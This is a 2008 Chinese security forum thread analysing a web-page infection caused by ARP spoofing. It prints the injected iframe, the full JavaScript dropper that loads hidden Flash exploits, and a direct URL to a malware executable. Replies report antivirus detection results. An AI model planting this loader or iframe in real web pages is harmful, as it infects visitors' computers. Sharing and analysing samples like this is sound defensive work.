某机器感染ARP病毒，网页挂马

yk1234

所有网页源码里都有：
<iframe src=http://wm.xnibi.com/index2.gif width=100 height=0></iframe>                                                                                                                                                                
使用迅雷下载index2.gif，记事本打开为：
SCRIPT LANGUAGE="javascript">
window.onerror=function(){return true;}
function init(){document.write();}
window.onload = init;
if(document.cookie.indexOf("tyeyede=")==-1)
{
var skpaopao=new Date();
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie="tyeyede=Yes;path=/;expires="+expires.toGMTString();
if(navigator.userAgent.toLowerCase().indexOf("msie")>0)
{
document.write('<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=4,0,19,0" width="0" height="0" align="middle">');
document.write('<param name="allowScriptAccess" value="sameDomain"/>');
document.write('<param name="movie" value="ie.swf"/>');
document.write('<param name="quality" value="high"/>');
document.write('<param name="bgcolor" value="#ffffff"/>');
document.write('<embed src="ie.swf"/>');
document.write('</object>');
}
else
{
document.write("<EMBED src=ff.swf width=0 height=0>");
}
}
document.writeln("<iframe src=next2.htm width=50 height=0><\/iframe>");
</SCRIPT>
</BODY></HTML>
<script type="text/javascript" src="http://js.tongji.cn.yahoo.com/641617/ystat.js"></script><noscript><a href="http://tongji.cn.yahoo.com"><img src="http://img.tongji.cn.yahoo.com/641617/ystat.gif"/></a></noscript>

感谢8楼提供样本地址。




[ 本帖最后由 yk1234 于 2008-8-6 19:21 编辑 ]

LEYUSGO

dr.web miss all[:1:]

tanlimo

卡8对此脚本无视

Nerazzurri

Begin scan in 'C:\Documents and Settings\Nerazzurri\桌面\index2.rar'
C:\Documents and Settings\Nerazzurri\桌面\index2.rar
    [0] Archive type: RAR
    --> index2.gif
      [DETECTION] Contains recognition pattern of the JS/Dldr.Agent.SJ Java script virus
    [NOTE]      The file was deleted!

Palkia

bd  0  
金山 0

jimmyleo

126被挂?那感染面很广啊....


已经托管给qq了说...

granthill

好像没有啊
是不是 楼主arp了？？

qianwenxiang

http://ddd.xnibi.com/mm.exe

yk1234

完了，原以为是126挂马了，原来是有人中了ARP病毒。难怪很卡。不好意思，之前没搞清楚。

[ 本帖最后由 yk1234 于 2008-8-6 19:33 编辑 ]

电影结束了

过了BD